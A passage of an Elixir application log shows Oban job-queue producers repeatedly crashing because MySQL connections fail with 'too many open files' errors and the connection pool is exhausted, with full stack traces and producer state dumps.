    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:38:09.241441Z], limit: 3, uuid: "3532618e-1083-41ee-9e0f-f81f17be9a9d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:09.241446Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.82118>, refresh_timer: #Reference<0.2525715032.1068236804.232156>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:27.186000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:30.614000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:31.781000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:38:21.242954Z], limit: 3, uuid: "85ef82c1-6c36-43bd-848b-c78413a80fad", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:21.242959Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.237892>, refresh_timer: #Reference<0.2525715032.1077411843.204235>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:38:21.239619Z], limit: 50, uuid: "d9ca3816-6062-426d-88e7-f4df15e59b59", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:21.239628Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.237893>, refresh_timer: #Reference<0.2525715032.1068236804.232265>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:38:21.241318Z], limit: 10, uuid: "5f222781-0fef-44c7-a8f5-a4b06188e823", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:21.241324Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.237895>, refresh_timer: #Reference<0.2525715032.1121189889.82389>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:38:21.241552Z], limit: 5, uuid: "cc9e266e-644a-4e01-9f7e-cf1b44da8b25", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:21.241557Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.237891>, refresh_timer: #Reference<0.2525715032.1077411843.204222>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:38:21.240377Z], limit: 5, uuid: "db42a232-7cfd-4c01-8124-0a70199e18b7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:21.240384Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.237896>, refresh_timer: #Reference<0.2525715032.1121189889.82377>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:33.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:38:21.240635Z], limit: 20, uuid: "67b58c45-9554-4fd0-91f1-a9a6df2b4727", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:21.240640Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.237894>, refresh_timer: #Reference<0.2525715032.1121189889.82378>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:34.659000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:34.974000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:35.522000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:36.708000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:40.566000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:42.929000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:43.884000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:38:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:38:33.240862Z], limit: 5, uuid: "82f31a98-a876-459e-94e9-432f8aeb2d06", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:33.240867Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.238362>, refresh_timer: #Reference<0.2525715032.1099169794.238326>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:38:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:38:33.240019Z], limit: 10, uuid: "19f66bbe-2fce-4c5f-b752-e3b7e1c84f60", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:38:33.240025Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: 